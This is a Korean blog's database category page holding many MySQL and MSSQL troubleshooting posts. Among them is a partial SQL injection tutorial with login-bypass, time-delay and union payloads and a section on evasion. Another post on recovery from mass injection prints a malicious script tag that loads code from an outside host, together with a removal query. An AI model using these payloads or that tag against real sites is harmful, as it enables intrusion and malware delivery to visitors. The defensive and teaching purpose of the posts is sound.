세이박스

'데이타베이스'에 해당되는 글 73건

  1. MySQL root 비번을 잊어버려서 접속을 못할 경우 패스워드 초기화 방법
  2. Client does not support authentication protocol requested by server; consider upgrading MySQL client
  3. Connecting DB : File '/usr/local/mysql/share/mysql/charsets/?.conf' not found (Errcode: 2)
  4. MySQL 5.x 설치후 기존 utf8 자료 이전시 한글 깨짐 증상 해결 my.cnf 수정
  5. [클래스] MySQL 테이블 복구 repair 명령어, SQL Error: Can't open file: 'sessions.MYI'. (errno: 145)
  6. SQL 2000 Server 서비스 팩3,4 설치시 '스크립트 실행 중 오류 발생'
  7. [주의사항] MS-SQL 2005 MDF >>> 2000 MDF 변환 불가
  8. 우편번호 최신 DB 2009.2.23
  9. MSSQL2005 에서 MSSQL 2000의 서비스 관리자 이용하기
  10. Advanced SQL Injection_공격사례 정리
  11. MSSQL2005 [DBNETLIB][ConnectionOpen (Connect()).]SQL Server가 없거나 액세스할 수 없습니다.
  12. MYSQL STOPPING server from pid file /usr/local/mysql/var/서버명.pid
  13. [mysql] ERROR 1016: Can't open file: '테이블명.MYD'. (errno: 145) 복구
  14. MYSQL 필드속에 일괄적으로 내용 집어넣기
  15. MYSQL 설치시 configure: error: 발생시
  16. MYSQL consider upgrading MySQL client
  17. DB injection script 스크립트 공격 복구 및 보안2
  18. MSSQL 작업스케줄러로 반복 적으로 쿼리 실행하기
  19. DB injection script 스크립트 공격 복구 및 보안
  20. 레드햇 엔터프라이즈4에 오라클9i(9.2.0.4)설치
  21. Installing Oracle 9i Release2 on Red Hat 리눅스 9
  22. mssql 전체 테이블 문자 검색 변경
  23. mysql 데몬 종료
  24. ERROR 1016: Can''t open file: ''테이블명.MYD''. (errno: 145) - 복구하기
  25. mysql 로그 지우기
  26. mysql 바이너리 로그파일 보기
  27. mysql로그 보기
  28. mysql 로그 삭제 (호스트명-bin.001 )
  29. MySQL 로그 파일 관리 - mysql rotate를 이용하여 쿼리 로그 확인
  30. MYSQL 동시접속자 등 높을경우

MySQL root 비번을 잊어버려서 접속을 못할 경우 패스워드 초기화 방법

데이타베이스

MySQL 설치하면서 비번을 잘못 입력(오타)하거나 기존 root 개정을 잊어 버린경우 다시 설치 하지 않고 비번만 변경할수 있습니다.
기존 MySQL 프로세스 종료하고 안전모드로 접속한후에 개정 테이블(user)에서 root 패스워드를 변경하는 방법입니다.

# MySQL 프로세스 죽이기
/etc/init.d/mysqld stop
killall mysqld

# MySQL 안전모드 접속후 root 비번 변경
cd /usr/local/mysql/bin
./mysqld_safe --skip-grant &
use mysql;
update user set password=password('비밀번호') where user='root';
FLUSH PRIVILEGES;
exit;

# 접속확인
mysql -uroot -p mysql

비번 입력후 mysql> 접속이 잘되면 성공입니다.


 ▶ 최신영화, 최신 미국드라마 무료 다운로드..

Client does not support authentication protocol requested by server; consider upgrading MySQL client

데이타베이스
문자모아 솔루션 설치후 ./emma -a -d 실행 했더니 다음과 같은 MySQL 오류가 나타난다.

Client does not support authentication protocol requested by server; consider upgrading MySQL client

오류 메시지를 보면 대략 client 요청이 잘못된 규칙이니 클라이언트(즉, emma)에서 요청 규칙을 업그레이드(수정)해라 대략 그런 내용입니다.

이유는 문자모아 SMS 솔루션은 MySQL 4.0 환경으로 만들어 졌지만 설치한 MySQL은 5.x 버전이라 개정 접속시 password 오류가 발생 하는 것이었다.

따라서, 별도의 개정을 추가 한뒤 password만 old_password로 지정 해주면 완료!


우선 기본 설정 방법으로 계정을 생성한 후에 MySQL 접속후

# use mysql;
# update user set password = old_password('암호')  where user = 'id' and host = '호스트명';
# FLUSH PRIVILEGES;

 

 ▶ 최신영화, 최신 미국드라마 무료 다운로드... 

Connecting DB : File '/usr/local/mysql/share/mysql/charsets/?.conf' not found (Errcode: 2)

데이타베이스
Connecting DB : File '/usr/local/mysql/share/mysql/charsets/?.conf' not found (Errcode: 2)

Character set '#192' is not a compiled character set and is not specified in the '/usr/local/mysql/share/mysql/charsets/Index' file

PHP + MySQL 연동시 자주 발생하는 오류로써 MySQL에 문자셋 설정 오류 입니다.
오류 메시지 내용만 보면 ?.conf 문자셋 파일이 없다 그런 내용입니다.
해결 방법을 찾아서 이것저것 해보았지만 해결되지 않더군요.

그래서 오류 메시지가 알려준데로 MySQL에서 이용하는 문자셋중 latin1.xml 파일을 ?.conf 파일로 복사 해줬더니 더이상 오류가 나지 않더군요

일단 MySQL 소스 설치를 /usr/local/mysql 에 하셨다면

cd /usr/lcoal/mysql/share/mysql/charsets/
cp latin1.xml ?.conf

이렇게 하니 더이상 오류가 뜨지 않더군요.


 ▶ 최신영화, 최신 미국드라마 무료 다운로드... 

MySQL 5.x 설치후 기존 utf8 자료 이전시 한글 깨짐 증상 해결 my.cnf 수정

데이타베이스

Aapache 2.x, PHP 5.x, MySQL 5.x 설치후 서버 이전을 끝내고 사이트 접속해보니 한글이 모두 ㅁㅁㅁ 특수기호들로 깨져 버리더군요.
원인을 알아 보니 mysql 기본 설치시 기본 문자셋이 utf8이 아니라서 생긴 문제 이더군요.
웹소스는 utf8 이며 기존 DB 자료 역시 utf8인데 mysql 기본 문자셋은 다른 문자로 되어 있어서 생긴 문제 였습니다.
다행이도 해결 방법이 mysql 다시 설치 하는 것이 아니라 /etc/my.cnf MySQL 설정 파일만 수정해 주면되었습니다.


자신의 기본 문자셋이 어떻게 되어 있는지 확인 해 보실려면 mysql 접속후 다음과 같이 확인 해 보세요!

mysql> SHOW VARIABLES LIKE 'character_set%';
+--------------------------+----------------------------+
| Variable_name | Value |
+--------------------------+----------------------------+
| character_set_client | latin1 |
| character_set_connection | latin1 |
| character_set_database | latin1 |
| character_set_filesystem | binary |
| character_set_results | latin1 |
| character_set_server | latin1 |
| character_set_system | utf8 |
| character_sets_dir | /usr/share/mysql/charsets/ |

이와 같이 latin1 등의 문자셋으로 설정 되어 있음을 확인하실 수 있습니다.

설정파일 수정은 /etc/my.cnf 파일을 수정 하시면 되며, 각 [항목] 바로 아래에 문자셋 설정을 추가 해주시면 됩니다.

# vi /etc/my.cnf

[client]
default-character-set=utf8

[mysqld]
init_connect='set names utf8'
character-set-server=utf8
default-collation=utf8_unicode_ci
skip-character-set-client-handshake
character-set-filesystem=utf8
default-character-set=utf8

[mysqldump]
default-character-set=utf8

[mysql]
default-character-set=utf8

위와 같이 추가하고 저장후 mysql 데몬을 다시 실행 해 보시면 아래와 같이 문자 기본셋이 변경 되었음을 확인 하실 수 있습니다.

+--------------------------+----------------------------------------+
| Variable_name            | Value                                  |
+--------------------------+----------------------------------------+
| character_set_client     | utf8                                   |
| character_set_connection | utf8                                   |
| character_set_database   | utf8                                   |
| character_set_filesystem | binary                                 |
| character_set_results    | utf8                                   |
| character_set_server     | utf8                                   |
| character_set_system     | utf8                                   |
| character_sets_dir       | /usr/local/mysql/share/mysql/charsets/ |
+--------------------------+----------------------------------------+

사이트 접속해보니 이제 정상으로 한글이 보이는 군요.
등록 및 수정 등 쿼리 전송시 한글 처리는 잘되는지 아직 안해봤음 ^^


 ▶ 최신영화, 최신 미국드라마 무료 다운로드... 

[클래스] MySQL 테이블 복구 repair 명령어, SQL Error: Can't open file: 'sessions.MYI'. (errno: 145)

데이타베이스

어느날 갑자기 MySQL 테이블 하나를 읽을려고 할때 다음과 같은 메시지가 나타날 경우

SQL Error: Can't open file: 'sessions.MYI'. (errno: 145)

테이블이 오류가 난것입니다.
원인은 하나의 테이블에 지속적으로 접속자가 너무 많이 connection이 된 경우 혹은 MySQL 기록중에 DB서버가 강제 종료 혹은 리부팅 되는 경우 깨지는 경우가 종종 발생 합니다.

이처럼 비정상적으로 종료된 테이블인 경우 마지막 처리 과정을 복구해서 정상 동작 하도록 하는 명령어가 있습니다.

먼저 해당 테이블 DB에 접속합니다.

mysql -u아이디 -p db이름
비번 :
repair table tablename; 입력 혹은 그냥 엔터

또는 간단하게 한줄로

mysql -u아이디 -p비번 db이름 repair table 테이블명


  최신영화 보러가기... 


SQL 2000 Server 서비스 팩3,4 설치시 '스크립트 실행 중 오류 발생'

데이타베이스

SQL 2000 Server 서비스 팩3,4 설치시 오류 대처방법

스크립트 실행 중 오류 발생 '80sp1-tools.sql (1)'



1. 쿼리분석기로 SQL Server 에 접속한다.


2. DBCC CHECKDB('dbname', NOINDEX) 로 지정한 데이터베이스에서 모든 개체의 할당과 구조적 무결성을 검사한다.

NOINDEX - 시스템 테이블이 아닌 테이블의 클러스터되지 않은 인덱스를 검사하지 않도록 지정한다. NOINDEX는 사용자 정의 테이블의 클러스터되지 않은 인덱스를 검사하지 않으므로 전체 실행 시간이 줄어든다. DBCC CHECKDB에서 모든 시스템 테이블 인덱스를 검사하므로 NOINDEX는 시스템 테이블에 어떤 영향도 주지 않는다.

-------------------------------------
NOINDEX 에 쓰일 수 있는 다른 옵션들 ↓

REPAIR_ALLOW_DATA_LOSS - REPAIR_REBUILD에서 수행하는 모든 복구 작업을 수행하며 할당 오류, 구조적 행 오류나 페이지 오류, 손상된 텍스트 개체 삭제를 수정하기 위한 행과 페이지의 할당 및 할당 취소가 포함된다. 이러한 복구를 할 경우 일부 데이터가 손실될 수 있다. 복구 작업은 사용자가 변경 사항을 롤백할 수 있도록 사용자 트랜잭션 내에서 수행된다. 복구가 롤백되어도 데이터베이스에는 오류가 그대로 포함되므로 백업에서 데이터베이스를 복원해야 한다. 제공된 복구 수준 때문에 오류 복구를 생략한 경우 해당 복구에 종속적인 모든 복구도 생략된다. 복구를 완료한 후 데이터베이스를 백업한다.

REPAIR_FAST - 클러스터되지 않은 인덱스의 별도 키를 복구하는 것과 같이 사소하고 시간이 소요되지 않는 복구 작업을 수행한다. 이러한 복구는 데이터 손실의 위험 없이 빨리 실행할 수 있다.

REPAIR_REBUILD - REPAIR_FAST에서 이루어지는 모든 복구 작업을 수행하고 인덱스 다시 작성과 같이 시간이 소요되는 복구를 포함한다. 이러한 복구는 데이터 손실의 위험 없이 실행할 수 있다.
-------------------------------------


3. 검사하여 오류가 발생하는 데이터베이스를 위의 옵션으로 적절히 사용하여 복구한다.


4. 이때 단일사용자 모드로 설정해야 한다.


sp_dboption dbname, single, true


5. 복구되면 단일사용자 모드 해제한다.


sp_dboption dbname, single, false


6. 서비스 팩을 다시 설치한다.

[주의사항] MS-SQL 2005 MDF >>> 2000 MDF 변환 불가

데이타베이스
Database Server 를 재설치 할 일은 종종 있는 일이다.
재설치할때 대부분 MDF, LDF 파일을 다른 곳에다가 백업 해두고
재 설치후 Attach 를 통해서 쉽게 같다 붙이면 예전 상태로 사용가능하다.
주의 해야할 것은 Attach 되는 MDF 가 SQL의 버전을 탄다는 것이다.
경험 한 것은 MS-SQL 2000으로 사용한 MDF 파일을 잠시 해당 서버가 복구해야할
필요가 있어서 임시로 MS-SQL 2005 서버에 Attach 시켜서 사용했다.
복구가 끝나고 난뒤에 다시 MS-SQL 2000 에 Attach 를 시키려고 하니
Error 602: Could not find row in sysindexes for database ID 9, object ID 1, index ID 1. Run DBCC CHECKTABLE on sysindexes
오류가 발생하면서 Attach 에 실패했다는 썰렁한 메세지 박스와 함께 끝나버렸다. ㅠ.ㅠ
덕분에 Database 새로 만들고 2005 로부터 Database Import 시켜 오는 등
난리를 치며 복구를 진행중이다. ㅠ.ㅠ
혹시나 이런 분이 계실까 해서 이 글을 씁니다.

우편번호 최신 DB 2009.2.23

데이타베이스
우체국 사업 본부 사이트인 koreapost.go.kr 에서 제공하는 우편번호 파일을 엑셀로 받아서 DB에 저장 할 수 있도록 insert 문으로 벼경 하였습니다.

http://www.koreapost.go.kr/woopuns/domestic_post3_3.jsp?sc_displayflag=true


위 URL로 직접 가셔서 사용하고자 하는 용도에 맞게 이용하시면 됩니다.

제가 만든 쿼리는 제 사이트에 맞게 받은것으로 자신의 사이트에 맞는 필드로 변경해서 이용하시기 바랍니다.

우편번호는 2009년 2월 23일자 현재 최신 자료 입니다. 

MSSQL2005 에서 MSSQL 2000의 서비스 관리자 이용하기

데이타베이스
질문. MSSQL 2000처럼  서비스 관리자 없나요? 웹어플리케이션이랑 같이 구동하려는데 ODBC 설정하려해도 안되고..

위 질문 처럼 MSSQL2000 이용자가 MSSQL2005로 이동하면서 어럽게 느끼는 부분이다.

1. MSSQL 2000처럼 서비스 관리자 없나요?
MSSQL2000 이용시 우측 하단 트레이바에 MSSQL 서비스 관리자를 볼 수 있었다.
서비스를 중지하고 시작하고를 편하게 컨트롤 할 수 있었습니다.
MSSQL2005 에서는
시작 > 프로그램 > Microsoft SQL Server 2005 > 구성도구> SQL Server Configuration Manager
를 열어서 서비스 관리를 하실수있습니다.
하지만 서비스 관리자가 편리하게 느끼는 분을 위해 별도의 프로그램 제공합니다.

SQL 2005 Service Manager

사용자 삽입 이미지

















* 다운로드

http://sql2005srvcmngr.codeplex.com/Release/ProjectReleases.aspx?ReleaseId=16329



2. 웹어플리케이션이랑 같이 구동하려는데 ODBC 설정하려해도 안되고..
SQL 서버주소는 DB 깔려있는 컴퓨터 IP 주소로 하시면됩니다.
IP 확인은 시작 > 실행 > cmd 치고 엔터 > ipconfig
하시면 ip 확인할수있고요 로컬에 깔려있다면, localhost 나 . 으로 db 연결문자열 하시면 하시면됩니다
db연결문자열은  "server=db서버ip주소;uid=db 접속계정; pwd=계정의비밀번호;database=db명;"
이렇게 작성하시면돼고요 머 아실거라 예상은 됩니다.

혹시 계정명이나 비밀번호 서버아이피 등등이 전부 맞는데 접속이 안된다면 이걸 확인해보시 바랍니다

시작 > 프로그램 > Microsoft SQL Server 2005 > 구성도구> SQL Server 노출영역구성> 서비스및 연결에대한 노출영역구성 > 데이터베이스엔진에 원격연결 클릭 > 로컬및 원격연결 선택> TCP/IP 및 명명된 파이프 모두사용 체크 이렇게 해보세요. 

Advanced SQL Injection_공격사례 정리

데이타베이스

1 개요... 3

1.1 SQL Query. 3

1.2 DML & DLL. 3

1.3  Metabata. 3

1.4 웹 어플리케이션... 4

1.5 일반적인 취약한 로그인 쿼리... 4

2 SQL Injection 테스트 방법론... 5

1) 입력 값 검증... 5

2) 정보 수집... 6

3) 1=1 Attacks. 8

5) OS Interaction. 12

6) OS 명령 프롬프트... 15

7) 확장된 효과... 15

3 회피 기술... 17

3.1 개요.. 17

3.2 IDS “signature” 우회... 17

3.3 입력 값 검증 우회 하기... 18

3.4 회피와 우회... 18

4 SQL Injection 대응 방안... 20

4.1 개요... 20

4.2 탐지 및 제한시키기... 20

4.3 결론... 20

참조자료 및 문서... 20

 

1 개요

SQL은 Structured Query Language의 표준이며, 사용자에게 데이터 베이스를 접근 할 수 있게 해준다. 현재 대부분 SQL99가 SQL Language의 표준이다. SQL은 DB에 대한 Query를 실행 시킬 수 있고, DB로부터 수정/검색/삽입/삭제/업데이트 할 수 있다.

 

1.1 SQL Query

SQL Language에는 많은 다른 버전이 있지만, 거의 비슷한 키워드의 명령어를 지원한다.(예: SELECT,UPDATE,DELETE,INSERT,WHERE 등) 대부분의 SQL 데이터베이스 프로그램은 SQL 표준 외에 그들 자신만의 확장된 언어를 가지고 있다. 관계형 데이터베이스는 하나 또는 그 이상의 테이블을 포함하고, 각각의 이름을 가진다. 테이블은 레코드단위로 데이터를 가진다.

) 아래의 테이블 명은 “user”이고 행과 열로서 데이터가 저장된다.

userID

Name

LastName

Login

Password

1

John

Smith

jsmith

hello

2

Adam

Taylor

adamt

qwerty

3

Daniel

Thompson

dthompson

dthompson

 

▪ 데이터 베이스로 SQL Query를 보내서, 결과 값을 되돌려 받을 수 있다. 위의 테이블을 이용해서 다음과 같은 Query를 사용 할 수 있다.

 

a) SELECT LastName FROM users WHERE UserID = 1;

b) 결과 값(레코드 셋)

LastName

Smith

 

 

1.2 DML & DLL

Data Manipulation Language(데이터 조작어) : SELECT ,UPDATE ,INSERT INTO DELETE와 같이 데이터를 조작하는 언어를 뜻 한다.

Data Definition Language(데이터 정의어) : 데이터 정의어로서 데이터베이스 테이블을 생성/삭제 하고, 인덱스(키)를 정의, 테이블 사이의 관계를 설정 하며, 데이터베이스 테이블 사이의 제약 조건을 설정한다.

) CREATE TABLE, ALTER TABLE, DROP TABLE등과 같은 구문

 

 

1.3  Metabata

대부분의 SQL 데이터베이스들은 관계형 데이터베이스 기반이다. SQL Injection을 위한 중요한 사실은 관계형 데이터 베이스는 Codd의 12법칙 중에서 4법칙을 확실히 따르고 있다는 것이다. 제4법칙 : 메타데이터(데이터베이스에 관한 데이터)는 반드시 일반적인 데이터들처럼 데이터베이스에 저장 되어야 한다. 또한 데이터 베이스구조는 SQL Query문을 통해서 읽거나 수정 할 수 있다

 

 

1.4 웹 어플리케이션

데이터베이스 엔진에 삽입하는 SQL 명령들은 애플리케이션을 통해 이용 가능하다. 이것은 오늘날의 대부분의 공통적인 웹사이트의 취약점 중에 하나이다. 이것은 Web Application의 발전에 따른 것이고, DB나 Web Server의 문제가 아니다. 대부분의 프로그래머들은 여전히 이 문제를 인식하지 못한다. 많은 지침서와 데모 템플릿이 취약 하다. 심지어 인터넷에 게시된 많은 솔루션들도 좋지 못하다. 모의 해킹을 의뢰한 60%가 넘는 고객의 시스템이 SQL Injection에 취약하다는 결과를 내놓는다. 대부분의 SQL 데이터베이스들 그리고 프로그래밍 언어들은 잠재적으로 취약하다. DBMS는 MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix 등이 이다.

 

애플리케이션을 통한 데이터베이스 접근 방법

Perl and CGI scripts

ASP, JSP, PHP

XML, XSL and XSQL

no_javascript

VB, MFC, and other ODBC-based tools and APIs

DB specific Web-based applications and API’s

Reports and DB Applications

3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)

 

 

1.5 일반적인 취약한 로그인 쿼리

SELECT * FROM users WHERE login = 'victor' AND password = '123'

 

1) ASP/MS SQL Server 로그인 문법

var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";

 

a)문자를 통한 Injection

formusr = ' or 1=1 – –

formpwd = anything

 

b) 최종 쿼리 결과

SELECT * FROM users WHERE username = ' ' or 1=1 – – AND password = 'anything'

 

2) PHP/MySQL 로그인 문법

$sql = "SELECT * FROM clients WHERE account = $formacct  AND pin = $formpin";

 

a) 숫자 입력 필드에 삽입

$formacct = 1 or 1=1 #

$formpin = 1111

 

b) 최종 쿼리 결과

SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111

 

2 SQL Injection 테스트 방법론 


 


1) 입력 값 검증

취약점은 어디든지 생길 수 있고, 아래의 사항을 모두 체크 해야 한다.

a) 웹 폼의 필드

b) URL 쿼리 스트링의 스크립트 파라미터 값

c) 쿠키 또는 히든 필드에 저장된 값

d) 아래의 문자열을 모든 입력 필드에 테스트해야 한다.

 

▪ 문자 : ' " ) # || + >

SQL Query 명령을 공백(구분자)과 같이:

%09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec)

▪ 지연 쿼리:' waitfor delay '0:0:10'--

 

 

2) 정보 수집

아래의 항목들을 알아내려고 시도해야 한다.

 

a) 출력 메커니즘 연구하기

1. 웹 애플리케이션의 쿼리 결과 값을 이용한다.

2. 에러 메시지 : 에러 메시지로부터 입력 값 검증을 유추 할 수 있다.

3. Blind SQL Injection : 시간의 지연 또는 에러 메시지를 사용하여 정보를 추출한다. Blind SQL Injection은 SQL Injection과 거의 비슷하지만, 많은 Query를 통해서 정보가 수집해야 되고, 또한 필드 값이나 테이블명과 같은 정보를 추측해야 하므로, 매우 느리고 더욱 어렵다.

 

■ 에러 메시지를 통해서 정보 추출 하기

i. 그룹 핑 에러

' group by columnnames having 1=1 - -

 

ii. 타입의 불일치

' union select 1,1,'text',1,1,1 - -

' union select 1,1, bigint,1,1,1 - -

 

iii. 더 좋은 방법으로, DB에서 하위 Query를 이용 한다.


MSSQL2005 [DBNETLIB][ConnectionOpen (Connect()).]SQL Server가 없거나 액세스할 수 없습니다.

데이타베이스
MSSQL2000을 이용하다가 MSSQL2005로 업그레이드 하고 ASP소스는 DB가 이전에 웹서버와 분리 되어 있어서 DB에 접속하는 IP가 고정으로 되어 있었다.
그런데, 다음과 같은 오류가 발생하면서 DB에 접속할 수 없다는 오류가 나는 것이다.

[DBNETLIB][ConnectionOpen (Connect()).]SQL Server가 없거나 액세스할 수 없습니다.

sql 재시작해도 안되는것이었다.
새로 설치한 서버는 웹과 DB를 하나의 서버에 설치 했기에
혹시나해서 sql 연결구문에서 ip를 127.0.0.1 로 바꿨더니 접속이 된다.

OTL 헐..

MSSQL2008이 나왔는데 MSSQL2005를 붙잡고 고생하고 있다. ㅋㅋ

MYSQL STOPPING server from pid file /usr/local/mysql/var/서버명.pid

데이타베이스

MYSQL 서비스 시작시 다음과 같은 오류 발생 후 서비스가 시작되지 않는 경우
STOPPING server from pid file /usr/local/mysql/var/서버명.pid

DB Data 폴더에 있는 에러 로그를 확인해보세요!
cat /usr/local/mysql/var/서버명.err
(var OR data)

~~~~ 오류 내용 ~~~~~
090406 09:16:21  mysqld started
InnoDB: No valid checkpoint found.
InnoDB: If this error appears when you are creating an InnoDB database,
InnoDB: the problem may be that during an earlier attempt you managed
InnoDB: to create the InnoDB data files, but log file creation failed.
InnoDB: If that is the case, please refer to
InnoDB: http://dev.mysql.com/doc/mysql/en/Error_creating_InnoDB.html
090406  9:16:22 Can't init databases
090406  9:16:22 Aborting
090406  9:16:22  InnoDB: Warning: shutting down a not properly started  InnoDB: or created database!
090406  9:16:22 /usr/local/mysql/libexec/mysqld: Shutdown Complete
090406 09:16:22  mysqld ended

이와 같은 오류 메시지가 나온다면 저의 경우 로그파일을 모두 제거후 복구 되었습니다.
아마도 로그 파일이 꼬였던것 같네요
로그 파일은 삭제 해도 상관없다고들 하더군요..^^
rm 서버명-bin.001 ...
rm 서버명-bin.index
rm 서버명.pid


참고로, 서버 명에 따라 파일명이 다르게 표시됩니다.
동일한 증상이길 바라며 해결 하시길 바랍니다.
그리고, 간혹 /tmp/mysql.sock 파일 문제로 해당 파일을 제거 후 해결 되기도 한다는 군요
참고하세요!

[mysql] ERROR 1016: Can't open file: '테이블명.MYD'. (errno: 145) 복구

데이타베이스

에러 메세지

Error 1016 : Can't open file: '테이블.MYI'. (errno: 145)


복구 방법

명령어 : mysqlcheck -u계정명 -p --auto-repair -B DB명

Enter password : 비밀번호

 
또는 mysql에 접속후 repair 테이블명; 을 해주셔도 됩니다.

mysql> repair table 테이블명;
+---------------------+--------+----------+----------+
| Table               | Op     | Msg_type | Msg_text |
+---------------------+--------+----------+----------+
| 테이블명           | repair | status      | OK          |
+---------------------+--------+----------+----------+
1 row in set (34.24 sec)

MYSQL 필드속에 일괄적으로 내용 집어넣기

데이타베이스
필드에 이미 값이 있는 상태에서 특정 값을 추가로 집어넣기
 
예로 reg_date 라는 필드에 "1234"라는 값이 있는데 추가로 "00" 이라는 값을 붙이고 싶을때 concat 을 사용합니다.
 
update member set code = concat(reg_date,"00")
 
 
결과 : "123400"
 
 
 
출처 : 세이박스 http://saybox.tistory.com

MYSQL 설치시 configure: error: 발생시

데이타베이스
checking "LinuxThreads"... "Not found"
configure: error: This is a linux system and Linuxthreads was not
found. On linux Linuxthreads should be used. Please install Linuxthreads
(or a new glibc) and try again. See the Installation chapter in the
Reference Manual for more information.


가 나타나면....

/usr/include/pthread.h 파일에서
암때나
/* Linuxthreads */
를 입력

이유 :
mysql configure 과정에서
pthread.h 파일을 찾아 위 문구가 있는지 조사하는데 Fedora Core 4의 glibc는 없으니까 에러남.

echo '/* Linuxthreads */' >> /usr/include/pthread.h

입력후 다시 ./configure 처리 해보세요!


checking whether build environment is sane... configure: error: newly created file is older than distributed files!

가 나타나면....
mysql 개발일이랑 지금 시간이랑 논리적인 오류가 있을때 생겨남
/usr/bin/rdate -s time.bora.net


출처 : 세이박스 http://saybox.tistory.com


MYSQL consider upgrading MySQL client

데이타베이스
Warning: mysql_connect(): Client does not support authentication protocol requested by server; consider upgrading MySQL client
 
위와 같은 오류 발생은 MySQL 5.0 사용시 PHP버전이 5.0 이하 버전인 경우 발생 합니다.
 
MySQL 5.0 부터 새로운 패스워드 방식으로 만들어 지므로 기존 PHP 버전에서 접속할 수 없으므로 PHP 5.x 이상 버전으로 업하셔야합니다.
 
만약 상위 버전 사용이 어럽다면 MySQL의 비번을 이전 방식으로 변경 가능합니다.
 
1. 이전 방식의 비번으로 변경
ㅇUPDATE mysql.user SET Password = OLD_PASSWORD('password') ;
2. MySQL 실행시 옵션
ㅇmysql서버구동시에 --old-passwords 옵션을 주어 실행
 
위 두 방식은 어디까지나 임시 방편이며 권장하는 방법이 아니므로 꼭 업하세요!
 
출처 : 세이박스 http://saybox.tistory.com

DB injection script 스크립트 공격 복구 및 보안2

데이타베이스
앞전에 올린 DB인젝션 공격에 대해 구체적으로 보안 방법 올려봅니다.

아마도 관리자님의 홈페이지의 타이틀이나 소스 내용에
<script src=http://s.ardoshanghai.com/s.js></script>
이와 유사한 스크립트 들이 엉청나게 삽입된 경우 엉청난감해 하고 계실겁니다.

그래서 위 스크립트를 만약 구글에서 검색해 보셨다면
사용자 삽입 이미지

처럼 어마어마한 사이트들이 공격 받은걸 확인 하실 수 있을겁니다.
저역시 관련 내용을 찾아보니 우연히 발견했는데 SK도 공격 받은적이 있었더군요. 후들들...
최근 제가 자주 접속하던 잡코리아도 불가 몇일전 공격을 받았더군요.

기사를 보시면 "국내 웹사이트 88% "그냥 뚫린다" 라고 할정도 입니다.
기사참조 : http://www.moneytoday.co.kr/view/mtview.php?type=1&no=2008082610012270246&outlink=1

왜 이렇게 많은 사이트들이 공격을 받았을까 이유가 뭘까 매우 궁금하시겠죠.
최근 무작위로 들어오는 공격은 대부분 중국애들의 장난으로 보입니다.
그리고, 홈페이지 웹소스의 취약점을 이용해 DB명령어를 포함해서 접속후 DB를 점령하는 무시무시한 공격이죠.
그런데 이런 공격으로 무엇을 얻을까요?
궁금해서 저 스크립트 분석해봤습니다.
스크립트가 다시 스크립트를 부르고 다시 iframe을 부르고 무지 깊숙히 들어가더군요
그리고 최종적으로 하는건 접속자에게 악성코드를 설치할려고 시도 하더군요.
소스를 보면 정말 놀랍습니다.
만약 여러분이 접속한 사이트가 네이버라고 가정합시다.
분명 네이버를 신뢰 하고 있는 가운데 브라우저 탑부분에 노란줄이 생기며 뭔가를 설치하라고 합니다.
이때 대부분의 접속자들은 아무 생각없이 그냥 설치 해버립니다...OTL 헉....
그러니 지금 글을 보고 계신 홈페이지 운영자님의 사이트를 신뢰하고 오는 접속자들이 지금 얼마나 많은 악성코드가 깔리고 있는지 느낌이 오시는지요 ㅡㅡ;

이유야 어찌 되었는 우리는 복구하고 앞으로 이런 일이 안생기도록 보안해야겠죠!
예전에 작성한 글은 설명이 부족해 다시 이렇게 글을 적어 봅니다.

DB 복구 부터 다시 설명 해드리겠습니다.
가장 좋은 방법은 백업해둔 DB를 복구하는것이겠지만 현재 운영중이면서 지속적으로 데이터가 들어오고 있다면 해당 스크립트만 모든 테이블을 찾아서 제거 해주는 게 좋겠죠.

먼저 공격으로 인해 생긴 불필요한 테이블들이 생겼을겁니다. 저희 경우엔 아래와 같은 테이블이 추가로 생겼더군요 이외에도 잘찾아 보시고 추가로 생성된것이 있으면 삭제 하셔야합니다.

1. 공격으로 생긴 DB table 삭제
comd_list 테이블 삭제
ahcmd 테이블 삭제
foofoofoo 테이블 삭제
Reg_Arrt 테이블 삭제
comd_list 테이블 삭제
D99_CMD 테이블 삭제
D99_TMP 테이블 삭제
Kill_kk 테이블 삭제
jiaozhu 테이블 삭제

2. 삽입 스크립트 제거 복구
MSSQL 에서 다음 쿼리를 실행하시면 됩니다.
실행전 아래 스크립트 <script src=http://s.ardoshanghai.com/s.js></script> 이부분은  공격받은 스크립트를 입력하셔야합니다.
그리고, 해당 스크립트를 어떤곳은 여러개 삽인한 곳도 있을겁니다.
그런 경우 아래 쿼리를 여러차례 돌려주셔야합니다.

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
  EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
            convert(varchar(8000), ['+@C+']),
            len(convert(varchar(8000), ['+@C+'])) - 6 -
            patindex(''%tpircs<%'',
                      reverse(convert(varchar(8000), ['+@C+'])))
            )
      where ['+@C+'] like ''%<script src=http://s.ardoshanghai.com/s.js></script>'''
      );
  FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

3. DB 접속 권한 보완
이러한 장애가 발생한 건 접속자에게 select 권환 이외에도 모든 권한을 부여하게 되는 설정이 가장 큰 문제 입니다.
특히, 제기억으로 초기 ASP책을 보면 DB접속하는 설명이 sa개정으로 되어있는 책이 있었던걸로 기억합니다. 요즘은 그런 책이 없기를 바라지만 어떤 개발자는 sa로 설정하면 잘만든것으로 착각하는 분이 계시더군요.
그런경우라면 아마도 위 스크립트 삽입 정도가 아니라 DB 전체가 삭제된 결과를 접하셨을겁니다.
지금이라도 sa 개정을 사용하고 계시다면 빨리 개정 추가하셔서 최소 권한만 제공 하세요!
그리고, 대부분 사이트가 개정을 추가로 하나만 만들어 운영합니다. 하지만, 단순히 보여주기만 하는 페이지에는 select 권한만 제공한 개정으로 연결해서 보여주는게 좋습니다.
결론적으로 개정을 여러개 두시구 select 권환만 있는 개정 또는 쓰기,수정 권환만 있는개정을 별도로 사용하세요!

4. ASP 웹소스 보완
